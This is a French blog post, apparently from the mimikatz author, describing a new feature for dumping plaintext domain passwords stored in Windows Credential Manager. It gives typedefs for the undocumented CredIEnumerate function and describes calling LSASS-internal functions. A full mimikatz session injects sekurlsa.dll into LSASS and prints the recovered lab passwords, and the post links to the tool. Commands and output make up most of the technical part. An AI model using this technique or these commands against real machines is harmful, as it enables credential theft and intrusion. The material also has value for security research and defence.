Comme vu lors de l’essai de récupération des mots de passe des tâches planifiées, le gestionnaire d’identification ne retourne pas très facilement de credentials en clair pour un type CRED_TYPE_DOMAIN_PASSWORD…
Tests
Stockons quelques credentials de type CRED_TYPE_DOMAIN_PASSWORD :
Via une tâche planifiée

Résultat :
mimikatz # system::user
Utilisateur : WORKGROUP\VM-W7-ULT$
mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type : DOMAIN_PASSWORD (2)
Comment : <NULL>
UserName : vm-w7-ult\Gentille Tâche
Credential : <NULL>
Via un utilisateur et un partage réseau

Résultat :
mimikatz # system::user Utilisateur : vm-w7-ult\Gentil Utilisateur mimikatz # divers::secrets full Nombre de secrets : 1 TargetName : Domain:target=serveur / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : utilisateur Credential : <NULL>
Via un utilisateur, un terminal server et un partage réseau

Résultat :
mimikatz # system::user Utilisateur : vm-w7-ult\Gentil Kiwi mimikatz # divers::secrets Nombre de secrets : 2 TargetName : TERMSRV/windows-f.vm.nirvana.local / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : test@nirvana.local Credential : <NULL> TargetName : windows-b.vm.nirvana.local / <NULL> Type : DOMAIN_PASSWORD (2) Comment : <NULL> UserName : testshare@nirvana.local Credential : <NULL>

Explications
Les credentials exposés ici n’ont pas à être manipulés dans les applications utilisateurs, mais par le gestionnaire d’authentification de Windows (LSASS), il n’y a donc pas de raison qu’ils soient accessibles dans l’espace utilisateurs.
Pour rappel :
If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.
Plus clairement : fini de jouer avec CredEnumerate en mode utilisateur, il faut passer via un contexte SYSTEM dans LSASS
Implémentation
Exit CredEnumerate qui se limite à l’utilisateur courant, pour gagner du temps utilisons CredIEnumerate (non exportée, non documentée) qui permet de lister les secrets d’une session particulière :)
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
Une fois les secrets identifiés, ne retenons que ceux concernés par le déchiffrement dans LSASS (CRED_TYPE_DOMAIN_PASSWORD dans notre cas), et demandons poliment à LSA_SECPKG_FUNCTION_TABLE->CrediReadDomainCredentials depuis le processus LSASS les credentials désirés…
Puisque l’on est dans LSASS, et que Microsoft annonce que les données ne sont lisibles que par les packages d’authentification, pourquoi ne pas rajouter un petit coup de LSA_SECPKG_FUNCTION_TABLE->LsaUnprotectMemory ?
Resultat
Bien sûr, en tant qu’Administrateur, ou SYSTEM (dans ce cas, pas besoin du privilège debug)…
mimikatz 1.0 x86 (RC) /* Traitement du Kiwi (Jan 6 2013 17:43:18) */
// http://blog.gentilkiwi.com/mimikatz
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Gestionnaire de comptes de sécurité
SERVICE(samss).ServiceStatusProcess.dwProcessId = 512
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi
SekurLSA : librairie de manipulation des données de sécurité dans LSASS
mimikatz # @getCredman full
Authentification Id : 0;999
Package d'authentification : NTLM
Utilisateur principal : VM-W7-ULT$
Domaine d'authentification : WORKGROUP
credman :
* [0] Target : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
* [0] Comment : <NULL>
* [0] User : vm-w7-ult\Gentille Tâche
[0] User : vm-w7-ult\Gentille Tâche
[0] Cred : wazawaza12341234//
Authentification Id : 0;6420317
Package d'authentification : NTLM
Utilisateur principal : Gentil Utilisateur
Domaine d'authentification : vm-w7-ult
credman :
* [0] Target : Domain:target=serveur / <NULL>
* [0] Comment : <NULL>
* [0] User : utilisateur
[0] User : utilisateur
[0] Cred : mdpuser
Authentification Id : 0;447522
Package d'authentification : NTLM
Utilisateur principal : Gentil Kiwi
Domaine d'authentification : vm-w7-ult
credman :
* [0] Target : Domain:target=TERMSRV/windows-f.vm.nirvana.local / <NULL>
* [0] Comment : <NULL>
* [0] User : test@nirvana.local
[0] User : test@nirvana.local
[0] Cred : mdptest
* [1] Target : Domain:target=windows-b.vm.nirvana.local / <NULL>
* [1] Comment : <NULL>
* [1] User : testshare@nirvana.local
[0] User : testshare@nirvana.local
[0] Cred : mdpshare
mimikatz # exit

La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz







